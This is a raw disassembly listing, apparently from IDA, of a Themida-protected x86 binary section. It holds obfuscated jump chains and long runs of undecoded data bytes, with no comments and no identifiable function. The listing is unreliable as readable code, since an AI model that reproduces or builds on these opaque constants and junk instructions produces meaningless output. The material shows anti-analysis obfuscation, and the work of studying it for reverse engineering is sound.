		dd 0BF09C6C6h, 5EF72962h, 514BB951h, 0CD01154Eh, 0E9FD0159h
		dd 0FFFFAEB8h, 5102EFC1h, 0FF507CE9h, 4C483FFh,	14FF381h
		dd 0DEE907CFh, 4000080h, 66870417h, 0DD68665Bh,	1C896641h
		dd 9A69E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BDA2:				; CODE XREF: Themida_:00552C79j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_550097
; ---------------------------------------------------------------------------
		db 68h,	0B3h, 1Fh
		dd 34890000h, 4AE95324h, 68000003h, 3F374DD5h, 0DDF74D5Dh
		dd 1975F581h, 0F58111D7h, 31141761h, 13E9EE89h,	30FFFF61h
		dd 46E95BDAh, 81FFFFD6h, 4C4h, 4C18100h, 0E9000000h, 0FFFF9508h
		dd 8158C389h, 5B7A7CC6h, 9DE9507Ah, 5FFFFFA3h, 242DBB53h
		dd 0E3812F29h, 4B0F3EB5h, 7142F381h, 0E3C12A04h, 3DCB8102h
		dd 0C168E864h, 0BD5507E3h, 10E5770Eh, 7517E581h, 81451346h
		dd 17A505F5h, 5DEB0198h, 0B152C72Dh, 6A0CE97Dh,	0F7400000h
		dd 5E40E9D8h, 481FFFFh,	424h, 12AFE900h, 0C870000h, 14895C24h
		dd 8B8BA24h, 0E2C119C8h, 4EC8306h, 0BF243C89h, 4F8C3B74h
		dd 0EA7BA52h, 0BD554CA1h, 1D5E0110h, 215DEA29h,	0DFF75AD7h
		dd 2873E9h
		db 0
byte_55BE95	db 0FFh, 77h, 3Ch	; DATA XREF: Themida_:0054FF38o
		dd 2209E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BE9D:				; CODE XREF: Themida_:005624B1j
		pop	eax
		add	esp, 4
		shl	edi, 8
		push	eax
		mov	eax, 3604548h
		sub	edi, eax
		pop	eax
		push	edx
		mov	edx, 12D05400h
		and	edx, 319975B4h
		jmp	loc_559D45
; ---------------------------------------------------------------------------
		db 5Ah,	53h, 0BBh
		dd 25DEF06Bh, 0CFE9DD01h, 81FFFFACh, 0BF2DA8F2h, 0E9D58953h
		dd 0FFFFAB71h, 24348B66h, 13B4E9h, 3E8C100h, 222FD905h
		dd 58C3013Eh, 214EEB81h, 0C3812A6Fh, 0CBA65F4h,	3CA5EE81h
		dd 0FE91E01h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BF07:				; CODE XREF: Themida_:00559FD5j
		mov	esp, [esp]
		jmp	loc_554E1C
; ---------------------------------------------------------------------------
aMfrs8y		db '¬fRé8Y',0           ; DATA XREF: Themida_:0054FFC8o
		db 0
; ---------------------------------------------------------------------------

loc_55BF17:				; CODE XREF: Themida_:005583F7j
		not	ebp
		push	edi
		mov	edi, 512B5CE2h
		inc	edi
		jmp	loc_55A8A6
; ---------------------------------------------------------------------------

loc_55BF25:				; CODE XREF: Themida_:005623E0j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1E4B6B72h
		push	ecx
		mov	ecx, 1E4B6B76h
		jmp	loc_55BF83
; ---------------------------------------------------------------------------
		dw 2DB2h
		dd 0E9F7C280h, 0FFFFB0B9h, 4C381h, 0C3830000h, 241C8704h
		dd 555AE95Ch, 28580000h, 9C79E9C3h, 3C8BFFFFh, 4C48324h
		dd 0D1BA52h, 81421B87h,	606ECDE2h, 0E1A5E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BF7A:				; CODE XREF: Themida_:00552040j
		xor	bl, 57h
		push	edx
		jmp	loc_555DF1
; ---------------------------------------------------------------------------

loc_55BF83:				; CODE XREF: Themida_:0055BF39j
		push	ebx
		mov	ebx, ecx
		push	ebx
		pop	edx
		pop	ebx
		pop	ecx
		sub	edx, ebx
		pop	ebx
		add	eax, edx
		jmp	loc_55B5F5
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 41A5E924h, 0E95F0000h, 0FFFFCC34h
; ---------------------------------------------------------------------------

loc_55BFA8:				; CODE XREF: Themida_:00556416j
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_551DB6
; ---------------------------------------------------------------------------
		dd 8704C083h, 0E95C2404h, 87E7h, 429FE957h, 3C890000h
		dd 0B9665124h, 81666CC7h, 663EDEF1h, 727C981h, 4CC98166h
		dd 0FA5FE923h, 8145FFFFh, 6040B8F5h, 4EC8314h, 68240489h
		dd 39FFh, 0BD242C89h, 283842B9h, 6D22E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C01A:				; CODE XREF: Themida_:0055C742j
		add	esp, 4
		add	ecx, edx
		push	2959h
		mov	[esp], edx
		jmp	loc_551D5B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 61BD5433h, 5EAAE951h, 5659FFFFh, 0BB53E689h,	4, 0E95BDE01h
		dd 0FFFF7975h, 0B1240C89h, 0E9E9D01Fh, 6C55h
; ---------------------------------------------------------------------------

loc_55C058:				; CODE XREF: Themida_:00550A84j
		or	edx, 4D71118Ch
		jmp	loc_5538B3
; ---------------------------------------------------------------------------
		db 0BBh
		dd 2, 335BD901h, 0C31240Ch, 240C3324h, 0E924248Bh, 0FFFFC842h
		dd 4240483h, 8124148Bh,	4C4h, 0F796E900h, 0E95FFFFFh, 553Dh
		dd 70BBBD55h, 0E8012D5Fh, 0FFAE90E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C0A1:				; CODE XREF: Themida_:00561ECBj
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, 3D7E7CFBh
		add	ecx, 0B820B27h
		sub	ecx, eax
		jmp	loc_55F669
; ---------------------------------------------------------------------------
		dd 0EC81DEF7h, 4, 0B8240489h, 42CF67B1h, 4535D8F7h, 5300B349h
		dd 0B74191BBh, 0C8CB8125h, 5520A972h, 0ED1F53BDh, 5DEB094Fh
		dd 3BD8EB81h, 0CB811A29h, 3AD678DFh, 0FF553EE9h
		db 0FFh
byte_55C0F9	db 0ADh, 57h, 68h	; DATA XREF: Themida_:0054FFB8o
		dd 6F1D681Ch, 3189685Fh, 3C890000h, 7EA0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C10E:				; CODE XREF: Themida_:00555E1Bj
		pop	ecx
		push	eax
		jmp	loc_56244F
; ---------------------------------------------------------------------------
		db 68h,	0C3h, 3
		dd 0C890000h, 0E9535B24h, 2376h, 42474FFh, 24048F59h, 0FFADAAE9h
		dd 8BD001FFh, 0C4832414h, 2C08304h, 8B240487h, 0DFE92424h
		dd 3100008Bh, 9FE92434h, 29FFFF5Dh, 0FE95EF5h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C157:				; CODE XREF: Themida_:0055A628j
		add	eax, 4
		jmp	loc_564E51
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd offset dword_50112C+0BDh
		dd 4C58100h, 81000000h,	4EDh, 242C8700h, 5051E95Ch, 0BA52FFFFh
		dd 5F7944F8h, 0BB0CBF57h, 65E9A086h, 5700008Ch,	0FFF23BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C195:				; CODE XREF: Themida_:0055A38Ej
		push	ebp
		mov	ebp, 43DC6668h
		inc	ebp
		neg	ebp
		jmp	loc_55D2CF
; ---------------------------------------------------------------------------

loc_55C1A3:				; CODE XREF: Themida_:00564A41j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	794Ah
		mov	[esp], eax
		push	47B2h
		mov	[esp], ecx
		jmp	loc_550561
; ---------------------------------------------------------------------------

loc_55C1EA:				; CODE XREF: Themida_:00552EC5j
		shl	esi, 4
		push	eax
		mov	eax, 67DE68F4h
		xor	eax, 33743F5Fh
		sub	eax, 65491BB9h
		jmp	loc_55A31E
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 0E9000000h, 0FFFF8124h, 8724048Fh, 0F7FB87DFh, 31FB31D7h
		dd 0D915E9DFh, 0C781FFFFh, 79B04510h, 660AF781h, 0FE017955h
		dd 4EE815Fh, 68000000h,	468Bh, 0FF243489h, 5E042474h, 5C24048Fh
		dd 0BA241489h, 5AF5EACh, 50A154BBh, 6C34E9FAh, 0FCB3FFFFh
		dd 5B66DD30h, 0CDFED5F6h, 5227F580h, 0D2F6CEB2h, 0FF9290E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C26D:				; CODE XREF: Themida_:005539EBj
		sub	esi, 59D1A74Eh
		push	edi
		jmp	loc_559B0A
; ---------------------------------------------------------------------------

loc_55C279:				; CODE XREF: Themida_:0055171Cj
		and	esi, 7DDF0DF1h
		and	esi, 26B74F6Eh
		push	7980h
		jmp	loc_55CD48
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0F74DE900h
		db 2 dup(0FFh)
word_55C29A	dw 56ADh		; DATA XREF: Themida_:0054FFA8o
		dd 0FF5BADE9h, 241CF7FFh, 79F5815Dh, 0E90D4B9Ah, 0FFFF5867h
		dd 0C102EAC1h, 54E904EAh, 5EFFFFDCh, 572BB951h,	0D1F77F81h
		dd 0A50DC181h, 0CE31E260h, 0D0EA8159h, 0E908F543h, 3163h
dword_55C2D8	dd 240C8B66h, 52E78957h, 6B68FDBAh, 87C4E969h, 8147FFFFh
					; DATA XREF: Themida_:0054FE8Co
		dd 0B68E77EFh, 8BFB01F2h, 5452243Ch, 4C2815Ah, 81000000h
		dd 4C2h, 24148700h, 4EB835Ch, 8B241C87h, 3C892424h, 2474FF24h
		dd 2434FF04h, 0FF8198E9h, 29E959FFh
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C327:				; CODE XREF: Themida_:00561653j
		mov	[esp], ecx
		push	eax
		jmp	loc_55D610
; ---------------------------------------------------------------------------
aZso		db 'ZéŽ(',0
		align 2

loc_55C336:				; CODE XREF: Themida_:00553631j
		xor	eax, 29ED5F34h
		inc	eax
		jmp	loc_5512A0
; ---------------------------------------------------------------------------
		db 0BEh, 1, 0
		dd 0F7010000h, 83C9E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C34E:				; CODE XREF: Themida_:00558FFDj
		push	edi
		mov	edi, 68CD1881h
		mov	edx, 9732E7ABh
		jmp	loc_55B7A8
; ---------------------------------------------------------------------------

loc_55C35E:				; CODE XREF: Themida_:0056192Bj
		xchg	ecx, [esp]
		pop	esp
		pop	ebx
		jmp	loc_55686C
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0BB241C89h, 16AB53DDh, 5064E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C379:				; CODE XREF: Themida_:0055B5CBj
		xor	[esp], ebx
		jmp	loc_5575F8
; ---------------------------------------------------------------------------
		db 5Dh,	5Fh, 2Dh
		dd 3B3368EAh, 0EA05C829h, 593B3368h, 8158C701h,	2C7h, 468A6800h
		dd 3C890000h, 2474FF24h, 48F5F04h, 0F545E924h, 5553FFFFh
		dd 2078A4BDh, 60BF576Dh, 192DF87h, 0EB895FFDh, 0CF49E95Dh
		dd 4FBFFFFFh, 0F725BE53h, 124EE9DFh, 0B6520000h, 8BF53042h
		dd 0C4832414h, 5300E904h, 0F7460000h, 5E6C1DEh,	0BDB9514Eh
		dd 10B6542h, 0E95159CEh, 0FFFFA73Eh, 66D50166h,	8324148Bh
		dd 0BCE902C4h, 5CFFFF4Ch, 0E6895657h, 4C681h, 0EE830000h
		dd 24348704h, 8486E95Ch, 34810000h, 0CE3BCC24h,	0F3815B4Ah
		dd 4ACE3BCCh, 0FF7DA5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C431:				; CODE XREF: Themida_:0055A3A6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	609Eh
		jmp	loc_5542E6
; ---------------------------------------------------------------------------
		dd 5CA7C681h, 81586F20h, 0F639D7C3h, 0BFEB8125h, 14E8D7Ah
		dd 0BFC381F3h, 0E94E8D7Ah, 0FFFFB465h, 0C781E789h, 4, 0FF5D6BE9h
		dd 515058FFh, 9A7990B9h, 0E9C8895Ah, 0FFFF80D8h, 40558h
		dd 2050000h, 50000000h,	42474FFh, 0E924048Bh, 6B70h, 66B95147h
		dd 0E958E70Fh, 0FFFF717Eh, 68240C8Bh, 39E5h, 54243C89h
		dd 0FF955DE9h, 97C380FFh, 6677C380h, 0D9A0E959h, 0EC81FFFFh
		dd 4, 0E9240C89h, 0FFFF4B84h, 6856595Bh, 2094h,	0FF46A0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C4DD:				; CODE XREF: Themida_:00554AF6j
		push	edi
		push	esp
		jmp	loc_562595
; ---------------------------------------------------------------------------
dword_55C4E4	dd 0B9B951ADh, 812C887Ch, 2F4E53E1h, 4E9C117h, 1BF57h
					; DATA XREF: Themida_:0054FDC8o
		dd 0BAE90000h, 80FFFFA7h, 0D528CBC5h, 5ACBED80h, 5933E9h
		dd 4C48300h, 0FF8562E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C515:				; CODE XREF: Themida_:0056486Bj
		push	ebx
		mov	ebx, 4
		sub	edi, 339D0700h
		add	edi, ebx
		add	edi, 339D0700h
		pop	ebx
		xor	edi, [esp]
		jmp	loc_5614A1
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 0BC057A2Dh, 0D4BB535Dh, 216ED62Ah, 47355BD8h, 402D727Dh
		dd 4475E935h, 58C10135h, 399DF181h, 0CF013558h,	92E95359h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C55F:				; CODE XREF: Themida_:00564DE3j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	edi
		push	edx
		mov	edx, 5E6E3897h
		mov	edi, edx
		pop	edx
		jmp	loc_55E94C
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0E9E95EF3h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C583:				; CODE XREF: Themida_:00554883j
		xor	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		push	edi
		jmp	loc_55D15C
; ---------------------------------------------------------------------------
		dd 405h, 74FF5000h, 8F580424h, 835C2404h, 9CE904C4h, 66000011h
		dd 620BE948h, 0D001FFFFh, 77490B05h, 71B95119h,	0E902954Ch
		dd 0FFFFCC66h, 3104E828h, 81240C8Bh, 4C4h, 0E9D60400h
		dd 0FFFFC64Dh
; ---------------------------------------------------------------------------

loc_55C5E0:				; CODE XREF: Themida_:0055E2DEj
		mov	[esp], edx
		mov	edx, 4
		push	eax
		push	ebx
		push	ebp
		mov	ebp, 0CB51BE4h
		jmp	loc_551FD1
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 197FE950h, 0E9570000h, 3012h
; ---------------------------------------------------------------------------

loc_55C604:				; CODE XREF: Themida_:00558612j
		add	ecx, 2A7B566Ch
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55C7F4
; ---------------------------------------------------------------------------

loc_55C618:				; CODE XREF: Themida_:00554157j
		sub	edi, 64611340h
		add	edi, ecx
		add	edi, 64611340h
		push	2362h
		mov	[esp], eax
		mov	eax, 2CEB0E9Fh
		add	edi, eax
		jmp	loc_559700
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24048F04h, 0C8B60F5Ch, 4EC81h, 2C890000h, 51E58924h
		dd 1009E9h, 3ACB8000h, 0D3F6CBFEh, 8002E3C0h, 0DD006DF3h
		dd 0FF57D1E9h, 1A5A68FFh, 0D3E90000h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C673:				; CODE XREF: Themida_:00560BD3j
		xor	edx, [esp]
		jmp	loc_56063F
; ---------------------------------------------------------------------------
		db 81h
		dd 4E9h, 240C8700h, 8924248Bh, 98E92404h, 5EFFFF52h, 7A1AC281h
		dd 0EA811C11h, 38613286h, 0FF42FCE9h, 0E98958FFh, 83242C8Bh
		dd 0BE5604C4h, 21B8137Fh, 9FE9h, 5F2D5F00h, 177B03Bh, 3B5F05E8h
		dd 34FF77B0h, 0C4815D24h, 4, 3304C083h,	0E2E92404h, 81FFFF7Ah
		dd 1FCB4DC1h, 59CB8900h, 780FC381h, 0CB8149EEh,	88477C8h
		dd 5705E3C1h, 0DEF9BCBFh, 5FFB29DAh, 1767E9h, 5AF50000h
		dd 0C8BEC88h, 0E793E924h, 48BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_55D934
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 88E38824h, 4F58E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C736:				; CODE XREF: Themida_:00558410j
		sub	edi, 163477E7h
		pop	ebx
		mov	ecx, edi
		mov	edi, [esp]
		jmp	loc_55C01A
; ---------------------------------------------------------------------------

loc_55C747:				; CODE XREF: Themida_:00559776j
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_55C74C:				; CODE XREF: Themida_:00550098j
		add	al, 2Bh
		push	ebx
		jmp	loc_560C75
; ---------------------------------------------------------------------------
		dd 0B6BBEE81h, 0C181D2CFh, 0D51537Dh, 0E981F101h, 0D51537Dh
		dd 0F7D1F75Eh, 4EC81D1h, 89000000h, 54BB241Ch, 1A07EA6h
		dd 528DE9D9h, 1F68FFFFh, 89000055h, 0EDE92404h,	0E9FFFF83h
		dd 0FFFF3903h, 0E9243C89h, 0FFFF9F82h
; ---------------------------------------------------------------------------

loc_55C79C:				; CODE XREF: Themida_:0055B8E2j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp

loc_55C7A9:				; CODE XREF: Themida_:0055FE2Bj
		push	5727h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 56CB1EFAh
		push	edi
		mov	edi, 19F656C0h
		jmp	loc_555AE7
; ---------------------------------------------------------------------------
		dw 0F381h
aJS_a		db '†¶Ì½é_A',0
		dd 0E9EDD100h, 0FFFF678Bh
; ---------------------------------------------------------------------------

loc_55C7D4:				; CODE XREF: Themida_:0055D6B6j
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	al, 0E2h
		sub	al, cl
		jmp	loc_557E56
; ---------------------------------------------------------------------------

loc_55C7F4:				; CODE XREF: Themida_:0055C613j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_551480
; ---------------------------------------------------------------------------
aNhs6		db '­h™6',0             ; DATA XREF: Themida_:0054FE84o
		align 2
		dw 43E9h
		dd 68FFFF49h, 7F24h, 0E9243C89h, 0FFFF7959h, 5E2434FFh
		dd 8104C483h, 0A2091EEDh, 0B1E0E960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C82E:				; CODE XREF: Themida_:0055B2EBj
		mov	[esp], esi
		push	19F6599Eh
		jmp	loc_5572CC
; ---------------------------------------------------------------------------
		db 81h
		dd 14238DC7h, 8AF78122h, 89335437h, 4C015FF9h, 38E90424h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C853:				; CODE XREF: Themida_:00551310j
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5554E8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8B243487h, 9662424h,	0E99C2404h, 0FFFF3827h,	0E904C483h
		dd 88CEh, 4C581h, 0E9500000h, 0FFFFB50Bh, 0AC4CD81h, 814D18BAh
		dd 969DDAEDh, 5DE8294Dh, 601EBA52h, 0C2813EC3h,	38EE3FDBh
		dd 6E2C14Ah, 0FF4863E9h, 0E18951FFh, 4C181h, 77E90000h
		dd 8BFFFFB0h, 0B6E92404h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C8BF:				; CODE XREF: Themida_:00564D50j
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_556841
; ---------------------------------------------------------------------------
aRwNyuwws	db 'RW¿nyîWWé',1Bh,0Bh,0
		dd 37B5E900h, 0BE56FFFFh, 4E1070D0h, 8247429h, 8324348Bh
		dd 448104C4h, 6E100424h, 48B592Dh, 61E95724h, 29FFFFFBh
		dd 802FE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C90A:				; CODE XREF: Themida_:0055020Ej
		mov	[esp], eax
		jmp	loc_558EC0
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 4D786804h, 0C890000h, 0F6DCB524h, 0D4C580D5h, 3059EF30h
		dd 0B2E95BFDh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C92F:				; CODE XREF: Themida_:005534A0j
		sub	edi, ebx
		add	edi, 541B075Eh
		jmp	loc_55F7D7
; ---------------------------------------------------------------------------
		dd 8005ED80h, 0E95BF6C5h, 0FFFF4279h, 5A2434FFh, 4C481h
		dd 89560000h, 4C681E6h,	53000000h, 4BBh, 5BDE2900h, 8B243487h
		dd 2C892424h, 2BB2BD24h, 814D4A63h, 78184FEDh, 2B0B68E6h
		dd 4890000h, 771FB824h,	13E959C4h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C98B:				; CODE XREF: Themida_:0055A338j
		mov	[esp], eax
		mov	eax, 36E57592h
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_550DC3
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 13h
aEaS		db 'Eí]éÂ<',0
		align 4

loc_55C9A8:				; CODE XREF: Themida_:00550C44j
		add	eax, 721E1C39h
		jmp	loc_55F2F6
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0DAE68103h, 4E06657Ch, 4FCEE81h, 0F031A778h,	0FFC2095Eh
		dd 81582434h, 4C4h, 0DCE28100h,	8123242Ah, 242A5CF2h, 85E98122h
		dd 1550675h, 0D73E9D1h,	0C1810000h, 4, 76EB68h,	243C8900h
		dd 4EC8156h, 89000000h,	70B82404h, 5078670Bh, 4F243481h
		dd 5E5B3F3Bh, 3B4FF681h, 0BE95B3Fh, 0C1FFFF77h,	0BB5305EEh
		dd 5AFECE2Ch, 0E95BDE31h, 2521h, 0C102E1C1h, 0E98104E1h
		dd 4EE53554h, 873B850h,	0C1011841h, 599FE958h, 0E9530000h
		dd 3E09h
dword_55CA4C	dd 240C8B66h, 0C90EE956h, 0BEFFFFh, 29000000h, 5EF387DEh
					; DATA XREF: Themida_:00550000o
		dd 0B9E6857h, 34890000h, 4CF46824h, 0BF5E475Dh,	78FC5FACh
		dd 315EF731h, 2434FFFBh, 4C4835Fh, 47A3B951h, 0CB311FC7h
		dd 8BD82159h, 0C481241Ch, 4, 0E91C77FFh, 3FFCh,	0F6CAF181h
		dd 52E9049Dh, 59FFFF4Ah, 3D18E9h, 58C70900h, 0FFE14FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CAB5:				; CODE XREF: Themida_:0056135Bj
		mov	esi, edx
		pop	edx
		or	esi, 271430EEh
		xor	esi, 448373F5h
		and	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_5558EE
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 53h
		dd 2962055Ah, 0DC36E9EBh, 0DA29FFFFh, 8F4E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CAE1:				; CODE XREF: Themida_:0055DD05j
		mov	edx, 6786504h
		inc	edx
		push	ecx
		mov	ecx, 14FD136Dh
		sub	edx, ecx
		pop	ecx
		shl	edx, 1
		not	edx
		xor	edx, 1D095CCBh
		add	ebp, edx
		jmp	loc_559B8E
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CF010000h, 243C8759h, 3585E95Ch, 0E829FFFFh, 83242C8Bh
		dd 772D04C4h, 6843ED43h, 3AC2h,	81242C89h, 4ECh, 24348900h
		dd 0DA0E6C68h, 24348B48h, 8104C483h, 0E56EDE6h,	94B9511Eh
		dd 1287C38h, 5D5659CEh,	4EC835Eh, 81241489h, 4ECh, 24348900h
		dd 92645DBEh, 26E9E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CB66:				; CODE XREF: Themida_:0055635Aj
		sub	ecx, 2B546D8Bh
		push	edi
		mov	edi, 33AB591Eh
		add	ecx, edi
		pop	edi
		xor	edx, ecx
		pop	ecx
		mov	edi, edx
		pop	edx
		xor	edi, ecx
		pop	ecx
		sub	ebx, 16C052C7h
		add	ebx, edi
		push	ebp
		mov	ebp, 16C052C7h
		add	ebx, ebp
		pop	ebp
		pop	edi
		add	ebx, esi
		sub	ebx, 2F66674Dh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5560B4
; ---------------------------------------------------------------------------

loc_55CBA1:				; CODE XREF: Themida_:00562C1Bj
		pop	eax
		add	bl, 65h
		add	bl, ah
		sub	bl, 65h
		jmp	loc_554D0A
; ---------------------------------------------------------------------------
		db 68h
		dd 7FF5h, 89242C89h, 19E953E5h,	87FFFF61h, 248B241Ch, 5095E924h
		dd 0BB53FFFFh, 759417E4h, 685BDA09h, 0DBAh, 0F7241489h
		dd 34FF2414h, 4BFFE924h, 8A050000h, 1A79B99h, 0FFE958C5h
		dd 8900006Eh, 4DB6E9E2h, 55510000h, 2AA96866h, 73E95D66h
		dd 8100005Fh, 4C7h, 4C78100h, 0E9000000h, 0FFFF6028h, 0B2E9DF29h
		dd 5200007Dh, 0C281E289h, 4, 4C281h, 14870000h,	4875C24h
		dd 24248B24h, 4BB0F66h,	0BE99C24h, 4F000042h, 2474FF57h
		dd 7264E904h, 14890000h, 0EFE95324h, 1FFFFB8h, 67C381C3h
		dd 585F4F27h, 4EB81h, 1C330000h, 241C3124h, 5C241C33h
		dd 56242489h, 0FF73FBE9h, 6857FFh, 8B000008h, 0E7E9243Ch
		dd 0BA000055h, 6D724A45h, 0FFC50DE9h, 81E389FFh, 4C3h
		dd 4C38300h, 8B241C87h,	83572424h, 248904ECh, 24048124h
		dd 4, 4C7815Fh,	81000000h, 4EFh, 243C8700h, 243C895Ch
		dd 243C8B54h, 4C481h, 0E9500000h, 0FFFF8DC9h, 68585450h
		dd 4357h, 548AE9h, 31ED8100h, 81593250h, 0F4CAF0EDh, 0E9E9019Bh
		dd 0FFFFE2C9h, 4244481h, 736D5A4Dh, 4246C81h, 2D1F1515h
		dd 0C181595Dh, 4, 0FFDE8CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CD11:				; CODE XREF: Themida_:00554187j
		xor	ebp, 0FE9AD0D4h
		sub	esi, ebp
		pop	ebp
		sub	ecx, esi
		jmp	loc_55DB3A
; ---------------------------------------------------------------------------

loc_55CD21:				; CODE XREF: Themida_:00552D5Dj
		mov	edx, 97C36DADh
		add	ebp, edx
		pop	edx
		sub	eax, ebp
		pop	ebp
		jmp	loc_550896
; ---------------------------------------------------------------------------
		db 89h,	0D3h, 5Ah
		dd 5507EBC1h, 0FF66CDE9h, 0EDF781FFh, 0E94BE7A4h, 2310h
; ---------------------------------------------------------------------------

loc_55CD48:				; CODE XREF: Themida_:0055C28Aj
		mov	[esp], edi
		mov	edi, 20830940h
		jmp	loc_55E5E7
; ---------------------------------------------------------------------------

loc_55CD55:				; CODE XREF: Themida_:00558F5Bj
		mov	[esp], eax
		push	1BDC11CCh
		pop	eax
		and	ebp, eax
		jmp	loc_560D42
; ---------------------------------------------------------------------------

loc_55CD65:				; CODE XREF: Themida_:00564554j
		pop	esp
		mov	[esp], eax
		push	edx
		jmp	loc_5544CF
; ---------------------------------------------------------------------------

loc_55CD6F:				; CODE XREF: Themida_:0055FBB0j
		pop	esi
		jmp	loc_5548C1
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 70h
		dd 816DFE70h, 141C97E9h, 4EC81F3h, 89000000h, 0D2E9240Ch
		dd 29000074h, 2434FFFBh, 4C4835Fh, 0FFDFD0E9h, 0EE8852FFh
		dd 9B1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CDA5:				; CODE XREF: Themida_:00563E55j
		push	esi
		mov	esi, 612D705Dh
		jmp	loc_55D1BC
; ---------------------------------------------------------------------------

loc_55CDB0:				; CODE XREF: Themida_:0055046Cj
		mov	edi, 20863502h
		push	edi
		not	dword ptr [esp]
		pop	edi
		dec	edi
		add	edi, 84944B6Bh
		sub	eax, edi
		pop	edi
		jmp	loc_55D7E3
; ---------------------------------------------------------------------------
		db 0B4h, 5Dh, 28h
		dd 0E95866E7h, 0FFFF6AABh, 8108E9C1h, 815DE9C1h, 0C1D9F729h
		dd 0F18106E1h, 7E467784h, 0FF97BAE9h, 62A5BDFFh, 2EE95EDDh
		dd 29FFFF47h, 54E958C5h, 8300002Ah, 386804C4h, 8900005Eh
		dd 0EBB5240Ch, 0DAB45066h, 0FF4D6BE9h, 0AEE95AFFh, 29000044h
		dd 7A4EE9EEh, 0EA81FFFFh, 4E1741BFh, 8124048Bh,	4C4h, 5AD78900h
		dd 0FFDB46E9h, 0FCB850FFh, 2900C02Ch, 24048BC2h, 5304C483h
